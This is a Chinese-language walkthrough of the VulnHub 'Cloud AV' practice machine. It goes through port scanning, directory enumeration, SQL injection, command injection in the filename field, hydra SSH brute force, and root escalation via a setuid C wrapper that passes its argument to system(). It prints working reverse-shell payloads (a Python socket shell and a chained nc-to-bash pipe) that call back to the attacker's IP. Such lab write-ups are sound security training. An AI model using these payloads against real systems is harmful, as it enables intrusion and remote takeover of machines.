[VulnHub] - BOREDHACKERBLOG: CLOUD AV
靶机信息:
靶机地址:hhttps://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
难度:Medium
虚拟机:vmwork、virtualbox
网络环境:靶机和攻击机在同一网络下
网络 服务可能没有启动,多尝试重启虚拟靶机即可
攻击机:192.168.3.38
靶机:192.168.3.35
信息收集
1. 端口扫描
arp-scan -l //查看内网段发现目标设备地址

nmap -Pn -sT 192.168.3.35 // 不对目标主机 192.168.3.35 进行在线检查,直接进行 TCP 连接扫描,尝试确定哪些端口是开放的
nmap -Pn -sT -p22,8080 -sV 192.168.3.35 //不对目标主机 192.168.3.35 进行主机发现,只对指定的端口 22 和 8080 执行完整的 TCP 连接扫描,并尝试识别这些端口上运行的服务及其版本

2. WEB侦查
通过dirb扫描工具进行网站的目录枚举

进行网页访问发现这个是一个基于python的云反病毒扫描器

3. SQL注入
使用sqlfuzz发现存在sql,并且重定向到了/scan目录下


还可以尝试使用字典的方式爆破从而进入到/scan目录下密码为password

4. 命令注入RCE
nc -nvlp 8999

Request
POST /output HTTP/1.1
Host: 192.168.3.35:8080
Content-Length: 241
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.3.35:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.3.35:8080/scan
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.Zkmy7A.WsSQKSkr2Zxc-l_vAcuOIoecNs4
Connection: close
filename=netcat|python+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.38",8999));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn("/bin/bash")'
同时还可以使用NC串联的方式
使用kali接收服务端传过来的数据

在命令行注入
nihao | nc 192.168.3.38 7777 | /bin/bash |nc 192.168.3.38 7778
执行 nihao 并将输出发送到远程服务器的 7777 端口。
在远程服务器上,nc 接收这些数据,并将其作为输入传递给 /bin/bash。
/bin/bash 启动后,其标准输入和输出被重定向,输入来自于 nc 连接,输出发送回本地机器的另一个 nc 实例,监听在 7778 端口。

在左边的面板输入,展示到了右边,这是在靶机没有-e参数可以使用的

5. 密码爆破
把这个数据库扒拉下来看看有没有什么有价值的东西,ls查看已经在本地了

发现账号密码

查看用户名和密码

爆破,无果,看看其他的
hydra -L user.txt -P passwd.txt ssh://192.168.3.35
-L user.txt:这个选项指定了一个包含用户名的文件。hydra 将使用该文件中的每一行用户名来尝试登录。
-P passwd.txt:这个选项指定了一个包含密码的文件。hydra 将尝试使用 -L 选项中指定的每个用户名和 -P 选项中指定的每个密码组合来进行登录。
ssh://192.168.3.35:这是目标服务器的地址,hydra 将尝试通过 SSH 协议连接到这个 IP 地址。

6. 代码审计

查看源代码
发现一个具有特殊权限的文件: update_cloudav ,通过检查应用程序的源代码,我们可以看到它运行freshclam来更新数据库。
#include <stdio.h> // 包含标准输入输出库,用于执行 printf 等函数
// [[2;2R
int main(int argc, char *argv[]) // 主函数的开始,接受命令行参数
{
char *freshclam="/usr/bin/freshclam"; // 定义一个指向字符串的指针,指向 freshclam 可执行文件的路径
if (argc < 2){ // 检查命令行参数的数量是否少于2(程序名称除外)
printf("This tool lets you update antivirus rules\n"); // 输出帮助信息
printf("Please supply command line arguments for freshclam\n"); // 提示用户需要提供命令行参数
return 1; // 非零返回值,表示程序出错或未按预期执行
}
char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2); // 分配内存以存储完整的命令字符串
sprintf(command, "%s %s", freshclam, argv[1]); // 将 freshclam 路径和命令行参数连接起来,形成完整的命令
setgid(0); // 设置组ID为0,通常是root用户
setuid(0); // 设置用户ID为0,通常是root用户
system(command); // 执行构建的命令
return 0; // 正常退出,返回值为0
}
7. 本地提权

通过注入 OS command injection 获取 root 权限


浙公网安备 33010602011771号